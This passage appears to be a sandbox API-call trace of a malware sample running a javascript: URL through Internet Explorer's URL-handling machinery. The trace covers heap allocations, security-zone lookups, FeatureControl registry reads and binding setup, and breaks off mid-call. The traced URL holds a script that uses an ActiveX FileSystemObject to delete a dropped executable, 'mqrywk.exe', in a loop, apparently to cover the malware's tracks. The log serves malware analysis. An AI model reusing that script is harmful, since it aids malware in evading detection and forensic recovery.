GetSysColor (nIndex=29) returned 0xff9933 [0030.501] GetSysColor (nIndex=30) returned 0xf0f0f0 [0030.501] GetSysColor (nIndex=31) returned 0x0 [0030.501] GetSysColor (nIndex=32) returned 0x0 [0030.501] GetSysColor (nIndex=33) returned 0x0 [0030.501] GetSysColor (nIndex=34) returned 0x0 [0030.501] GetSysColor (nIndex=35) returned 0x0 [0030.501] GetSysColor (nIndex=36) returned 0x0 [0030.501] GetSysColor (nIndex=37) returned 0x0 [0030.501] GetSysColor (nIndex=38) returned 0x0 [0030.501] GetSysColor (nIndex=39) returned 0x0 [0030.501] GetSysColor (nIndex=40) returned 0x0 [0030.501] GetSysColor (nIndex=41) returned 0x0 [0030.501] GetSysColor (nIndex=42) returned 0x0 [0030.501] GetSysColor (nIndex=43) returned 0x0 [0030.501] GetSysColor (nIndex=44) returned 0x0 [0030.501] GetSysColor (nIndex=45) returned 0x0 [0030.501] GetSysColor (nIndex=46) returned 0x0 [0030.501] GetSysColor (nIndex=47) returned 0x0 [0030.501] GetSysColor (nIndex=48) returned 0x0 [0030.501] GetSysColor (nIndex=49) returned 0x0 [0030.501] GetSysColor (nIndex=50) returned 0x0 [0030.501] GetSysColor (nIndex=51) returned 0x0 [0030.501] GetSysColor (nIndex=52) returned 0x0 [0030.501] GetSysColor (nIndex=53) returned 0x0 [0030.501] GetSysColor (nIndex=54) returned 0x0 [0030.501] GetSysColor (nIndex=55) returned 0x0 [0030.501] GetSysColor (nIndex=56) returned 0x0 [0030.501] GetSysColor (nIndex=57) returned 0x0 [0030.501] GetSysColor (nIndex=58) returned 0x0 [0030.501] GetSysColor (nIndex=59) returned 0x0 [0030.501] GetSysColor (nIndex=60) returned 0x0 [0030.502] GetSysColor (nIndex=61) returned 0x0 [0030.502] GetSysColor (nIndex=62) returned 0x0 [0030.502] GetSysColor (nIndex=63) returned 0x0 [0030.502] GetDeviceCaps (hdc=0xf40106dc, index=38) returned 32409 [0030.502] ReleaseDC (hWnd=0x0, hDC=0xf40106dc) returned 1 [0030.502] GetCurrentThreadId () returned 0x10c [0030.502] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x77b950 [0030.502] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x50) returned 0x78f8f0 [0030.502] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d878 [0030.503] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x28) returned 0x76d2a0 [0030.503] GetProcAddress (hModule=0x769d0000, lpProcName=0x8) returned 0x769d3ed5 [0030.503] GetCurrentThreadId () returned 0x10c [0030.503] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d878 | out: hHeap=0x750000) returned 1 [0030.503] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x11c) returned 0x792040 [0030.503] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ppu=0x40f8a0 | out: ppu=0x40f8a0) returned 0x0 [0030.503] CreateUri (in: pwzURI="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x40f884 | out: ppURI=0x40f884*=0x77c424) returned 0x0 [0030.503] IUnknown:AddRef (This=0x77c424) returned 0x6 [0030.503] IInternetSecurityManager:MapUrlToZone (in: This=0x738896bc, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", pdwZone=0x40f824, dwFlags=0x0 | out: pdwZone=0x40f824*=0xffffffff) returned 0x800c0011 [0030.503] DllGetClassObject (in: rclsid=0x7819f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f0f8 | out: ppv=0x40f0f8*=0x73888d20) returned 0x0 [0030.504] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40f1e4 | out: ppvObject=0x40f1e4*=0x73888d2c) returned 0x0 [0030.504] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.504] IInternetProtocolInfo:ParseUrl (in: This=0x73888d2c, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ParseAction=3, dwParseFlags=0x0, pwzResult=0x792168, cchResult=0x8c, pcchResult=0x40f22c, dwReserved=0x0 | out: pwzResult="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", pcchResult=0x40f22c*=0x8c) returned 0x0 [0030.504] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x11c) returned 0x792288 [0030.504] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x792288 | out: hHeap=0x750000) returned 1 [0030.504] IUnknown:Release (This=0x73888d2c) returned 0x1 [0030.504] DllGetClassObject (in: rclsid=0x7819f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f0f8 | out: ppv=0x40f0f8*=0x73888d20) returned 0x0 [0030.504] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40f1e4 | out: ppvObject=0x40f1e4*=0x73888d2c) returned 0x0 [0030.504] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.504] IInternetProtocolInfo:ParseUrl (in: This=0x73888d2c, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ParseAction=17, dwParseFlags=0x0, pwzResult=0x792168, cchResult=0x8c, pcchResult=0x40f23c, dwReserved=0x0 | out: pwzResult="", pcchResult=0x40f23c*=0x0) returned 0x800c0011 [0030.504] IUnknown:Release (This=0x73888d2c) returned 0x1 [0030.505] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0030.505] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0030.505] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0030.505] IInternetSecurityManager:ProcessUrlAction (in: This=0x738896bc, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", dwAction=0x2700, pPolicy=0x40f828, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x40f828*=0x0) returned 0x0 [0030.505] IUnknown:Release (This=0x77c424) returned 0x5 [0030.505] IUnknown:Release (This=0x77c424) returned 0x4 [0030.505] IUnknown:AddRef (This=0x77c424) returned 0x5 [0030.505] IUri:GetPropertyDWORD (in: This=0x77c424, uriProp=0x11, pdwProperty=0x40f65c, dwFlags=0x0 | out: pdwProperty=0x40f65c*=0xf) returned 0x0 [0030.505] IInternetSecurityManager:GetSecurityId (in: This=0x785558, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", pbSecurityId=0x40f6b8, pcbSecurityId=0x40f6b4*=0x200, dwReserved=0x0 | out: pbSecurityId=0x40f6b8*=0x6a, pcbSecurityId=0x40f6b4*=0x8f) returned 0x0 [0030.505] IInternetSecurityManager:GetSecurityId (in: This=0x738896bc, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", pbSecurityId=0x40f6b8, pcbSecurityId=0x40f6b4*=0x200, dwReserved=0x0 | out: pbSecurityId=0x40f6b8*=0x0, pcbSecurityId=0x40f6b4*=0x200) returned 0x800c0011 [0030.505] IUnknown:Release (This=0x77c424) returned 0x4 [0030.505] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.505] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8f) returned 0x792168 [0030.505] CoInternetGetSession (in: dwSessionMode=0x0, ppIInternetSession=0x40f8dc, dwReserved=0x0 | out: ppIInternetSession=0x40f8dc*=0x77f8c8) returned 0x0 [0030.505] IInternetSession:RegisterNameSpace (This=0x77f8c8, pCF=0x73888c50, rclsid=0x73489790, pwzProtocol="res", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0030.506] IUnknown:AddRef (This=0x73888c50) returned 0x1 [0030.506] IInternetSession:RegisterNameSpace (This=0x77f8c8, pCF=0x73888c70, rclsid=0x73489780, pwzProtocol="about", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0030.506] IUnknown:AddRef (This=0x73888c70) returned 0x1 [0030.506] StrCmpICW (pszStr1="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", pszStr2="res://ieframe.dll/PhishSite.htm") returned -8 [0030.506] IUnknown:QueryInterface (in: This=0x77c6ac, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x40f84c | out: ppvObject=0x40f84c*=0x77c6ac) returned 0x0 [0030.506] IUnknown:Release (This=0x77c6ac) returned 0x9 [0030.506] IUnknown:AddRef (This=0x77c6ac) returned 0xa [0030.506] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x12c) returned 0x792200 [0030.506] IUnknown:AddRef (This=0x77c6ac) returned 0xb [0030.506] IUnknown:QueryInterface (in: This=0x77c6ac, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x40f810 | out: ppvObject=0x40f810*=0x77c6ac) returned 0x0 [0030.506] IUnknown:Release (This=0x77c6ac) returned 0xb [0030.506] IUnknown:AddRef (This=0x77c6ac) returned 0xc [0030.506] IUnknown:Release (This=0x77c6ac) returned 0xb [0030.506] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x3c) returned 0x7643c8 [0030.506] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0xb4) returned 0x792338 [0030.507] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x30) returned 0x76d878 [0030.507] IUri:GetScheme (in: This=0x77c6ac, pdwScheme=0x40f894 | out: pdwScheme=0x40f894*=0xf) returned 0x0 [0030.507] IUnknown:QueryInterface (in: This=0x77c6ac, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x40f89c | out: ppvObject=0x40f89c*=0x77c6ac) returned 0x0 [0030.507] IUnknown:Release (This=0x77c6ac) returned 0xb [0030.507] IUnknown:AddRef (This=0x77c6ac) returned 0xc [0030.507] IUnknown:Release (This=0x77c6ac) returned 0xb [0030.507] IUri:IsEqual (in: This=0x77c424, pUri=0x77c6ac, pfEqual=0x40f8dc | out: pfEqual=0x40f8dc*=1) returned 0x0 [0030.507] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.507] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x4c) returned 0x78f948 [0030.507] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x12) returned 0x7929b0 [0030.507] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x60) returned 0x793178 [0030.507] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x30) returned 0x76d8e8 [0030.507] PostMessageW (hWnd=0x3026c, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0030.507] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x12c) returned 0x7931e0 [0030.507] IUnknown:AddRef (This=0x77c6ac) returned 0xc [0030.507] IUnknown:QueryInterface (in: This=0x77c6ac, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x40f830 | out: ppvObject=0x40f830*=0x77c6ac) returned 0x0 [0030.507] IUnknown:Release (This=0x77c6ac) returned 0xc [0030.507] IUnknown:AddRef (This=0x77c6ac) returned 0xd [0030.507] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x4c) returned 0x78f9a0 [0030.507] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x68) returned 0x793318 [0030.508] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x108) returned 0x793388 [0030.508] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x77b8f0 [0030.508] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0xcc) returned 0x77cad8 [0030.508] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x77b638 [0030.508] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0030.508] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x1b0) returned 0x793498 [0030.508] IUnknown:QueryInterface (in: This=0x77c6ac, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x40f534 | out: ppvObject=0x40f534*=0x77c6ac) returned 0x0 [0030.508] IUnknown:Release (This=0x77c6ac) returned 0xd [0030.508] IUnknown:AddRef (This=0x77c6ac) returned 0xe [0030.508] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.508] IUnknown:AddRef (This=0x77c6ac) returned 0xf [0030.508] IUnknown:AddRef (This=0x77c6ac) returned 0x10 [0030.508] IUnknown:QueryInterface (in: This=0x77c6ac, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x40f528 | out: ppvObject=0x40f528*=0x77c6ac) returned 0x0 [0030.508] IUnknown:Release (This=0x77c6ac) returned 0x10 [0030.508] IUnknown:AddRef (This=0x77c6ac) returned 0x11 [0030.508] IUri:GetScheme (in: This=0x77c6ac, pdwScheme=0x7935a0 | out: pdwScheme=0x7935a0*=0xf) returned 0x0 [0030.508] IMoniker:IsSystemMoniker (in: This=0x77ad18, pdwMksys=0x40f590 | out: pdwMksys=0x40f590*=0x6) returned 0x0 [0030.510] IUri:GetSchemeName (in: This=0x77c6ac, pbstrSchemeName=0x40f4e8 | out: pbstrSchemeName=0x40f4e8*="javascript") returned 0x0 [0030.510] _wcsnicmp (_String1="javas", _String2="data", _MaxCount=0x5) returned 6 [0030.510] IUri:GetScheme (in: This=0x77c6ac, pdwScheme=0x40f534 | out: pdwScheme=0x40f534*=0xf) returned 0x0 [0030.510] IUnknown:QueryInterface (in: This=0x77c6ac, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x40f4f4 | out: ppvObject=0x40f4f4*=0x77c6ac) returned 0x0 [0030.511] IUnknown:Release (This=0x77c6ac) returned 0x11 [0030.511] IUnknown:AddRef (This=0x77c6ac) returned 0x12 [0030.511] CoInternetQueryInfo (in: pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", QueryOptions=0xd, dwQueryFlags=0x0, pvBuffer=0x40f524, cbBuffer=0x4, pcbBuffer=0x40f51c, dwReserved=0x0 | out: pvBuffer=0x40f524*, pcbBuffer=0x40f51c*=0x4) returned 0x0 [0030.511] DllGetClassObject (in: rclsid=0x7819f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f3ac | out: ppv=0x40f3ac*=0x73888d20) returned 0x0 [0030.511] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40f498 | out: ppvObject=0x40f498*=0x73888d2c) returned 0x0 [0030.511] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.513] CoInternetParseUrl (in: pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ParseAction=0x13, dwFlags=0x0, pszResult=0x40d458, cchResult=0x1000, pcchResult=0x40d454, dwReserved=0x0 | out: pszResult="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", pcchResult=0x40d454) returned 0x0 [0030.513] DllGetClassObject (in: rclsid=0x7819f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40d2e8 | out: ppv=0x40d2e8*=0x73888d20) returned 0x0 [0030.514] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40d3d4 | out: ppvObject=0x40d3d4*=0x73888d2c) returned 0x0 [0030.514] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.514] IInternetProtocolInfo:ParseUrl (in: This=0x73888d2c, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ParseAction=19, dwParseFlags=0x0, pwzResult=0x40d458, cchResult=0x1000, pcchResult=0x40d454, dwReserved=0x0 | out: pwzResult="", pcchResult=0x40d454*=0x0) returned 0x800c0011 [0030.514] IUnknown:Release (This=0x73888d2c) returned 0x1 [0030.514] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ppu=0x40d424 | out: ppu=0x40d424) returned 0x0 [0030.521] IUnknown:Release (This=0x73888d2c) returned 0x1 [0030.521] IUnknown:Release (This=0x77c6ac) returned 0x11 [0030.521] IUnknown:QueryInterface (in: This=0x77c6ac, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x40f534 | out: ppvObject=0x40f534*=0x77c6ac) returned 0x0 [0030.521] IUnknown:Release (This=0x77c6ac) returned 0x11 [0030.521] IUnknown:AddRef (This=0x77c6ac) returned 0x12 [0030.522] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x4c) returned 0x78f9f8 [0030.522] GetCurrentThreadId () returned 0x10c [0030.522] CreateBindCtx (in: reserved=0x0, ppbc=0x40f578 | out: ppbc=0x40f578*=0x790840) returned 0x0 [0030.522] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0xc) returned 0x77b608 [0030.522] IUnknown:AddRef (This=0x790840) returned 0x2 [0030.522] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x1c) returned 0x780158 [0030.522] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f45c | out: phkResult=0x40f45c*=0x1c0) returned 0x0 [0030.522] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f460 | out: phkResult=0x40f460*=0x15c) returned 0x0 [0030.522] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="FEATURE_XSSFILTER", ulOptions=0x0, samDesired=0x1, phkResult=0x40f41c | out: phkResult=0x40f41c*=0x0) returned 0x2 [0030.523] RegOpenKeyExW (in: hKey=0x1c0, lpSubKey="FEATURE_XSSFILTER", ulOptions=0x0, samDesired=0x1, phkResult=0x40f41c | out: phkResult=0x40f41c*=0x1c8) returned 0x0 [0030.523] SHRegGetValueW () returned 0x2 [0030.523] SHRegGetValueW () returned 0x2 [0030.523] RegCloseKey (hKey=0x1c8) returned 0x0 [0030.523] RegCloseKey (hKey=0x0) returned 0x6 [0030.523] RegCloseKey (hKey=0x0) returned 0x6 [0030.523] RegCloseKey (hKey=0x1c0) returned 0x0 [0030.523] RegCloseKey (hKey=0x15c) returned 0x0 [0030.523] RegisterBindStatusCallback (in: pBC=0x790840, pBSCb=0x7934a8, ppBSCBPrev=0x0, dwReserved=0x0 | out: ppBSCBPrev=0x0) returned 0x0 [0030.523] IUnknown:AddRef (This=0x7934a8) returned 0x4 [0030.523] IUnknown:QueryInterface (in: This=0x7934a8, riid=0x750661d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x40f4c4 | out: ppvObject=0x40f4c4*=0x7934ac) returned 0x0 [0030.523] IMoniker:RemoteBindToStorage (in: This=0x77ad18, pbc=0x790840, pmkToLeft=0x0, riid=0x7347f8b0, ppvObj=0x40f510 | out: ppvObj=0x40f510*=0x0) returned 0x401e8 [0030.524] DllGetClassObject (in: rclsid=0x7819f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f048 | out: ppv=0x40f048*=0x73888d20) returned 0x0 [0030.524] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40f134 | out: ppvObject=0x40f134*=0x73888d2c) returned 0x0 [0030.524] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.524] IInternetProtocolInfo:ParseUrl (in: This=0x73888d2c, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ParseAction=1, dwParseFlags=0x10000, pwzResult=0x793f30, cchResult=0x824, pcchResult=0x40f448, dwReserved=0x0 | out: pwzResult="", pcchResult=0x40f448*=0x0) returned 0x800c0011 [0030.524] IUnknown:Release (This=0x73888d2c) returned 0x1 [0030.524] IUnknown:QueryInterface (in: This=0x7934a8, riid=0x7506ad24*(Data1=0xaaa74ef9, Data2=0x8ee7, Data3=0x4659, Data4=([0]=0x88, [1]=0xd9, [2]=0xf8, [3]=0xc5, [4]=0x4, [5]=0xda, [6]=0x73, [7]=0xcc)), ppvObject=0x40f3d8 | out: ppvObject=0x40f3d8*=0x7934a8) returned 0x0 [0030.524] IBindStatusCallbackEx:RemoteGetBindInfoEx (in: This=0x7934a8, grfBINDF=0x79554c, pbindinfo=0x7955fc, pstgmed=0x795550, grfBINDF2=0x40f424, pdwReserved=0x80004005 | out: grfBINDF=0x79554c*=0x83, pbindinfo=0x7955fc, pstgmed=0x795550, grfBINDF2=0x40f424*=0x0, pdwReserved=0x80004005) returned 0x0 [0030.525] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f2f8 | out: phkResult=0x40f2f8*=0x15c) returned 0x0 [0030.525] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40f2fc | out: phkResult=0x40f2fc*=0x1c0) returned 0x0 [0030.525] RegOpenKeyExW (in: hKey=0x1c0, lpSubKey="FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615", ulOptions=0x0, samDesired=0x1, phkResult=0x40f2b8 | out: phkResult=0x40f2b8*=0x0) returned 0x2 [0030.525] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615", ulOptions=0x0, samDesired=0x1, phkResult=0x40f2b8 | out: phkResult=0x40f2b8*=0x0) returned 0x2 [0030.525] RegCloseKey (hKey=0x0) returned 0x6 [0030.525] RegCloseKey (hKey=0x0) returned 0x6 [0030.525] RegCloseKey (hKey=0x15c) returned 0x0 [0030.525] RegCloseKey (hKey=0x1c0) returned 0x0 [0030.525] IUnknown:Release (This=0x7934a8) returned 0x5 [0030.525] IUnknown:QueryInterface (in: This=0x7934a8, riid=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40f3a0 | out: ppvObject=0x40f3a0*=0x0) returned 0x80004002 [0030.525] IServiceProvider:QueryService (in: This=0x7934ac, guidService=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40f3a0 | out: ppvObject=0x40f3a0*=0x0) returned 0x80004002 [0030.525] GetCurrentThreadId () returned 0x10c [0030.526] DllGetClassObject (in: rclsid=0x7819f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f2ec | out: ppv=0x40f2ec*=0x73888d20) returned 0x0 [0030.526] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.527] IBindStatusCallback:OnStartBinding (This=0x7934a8, 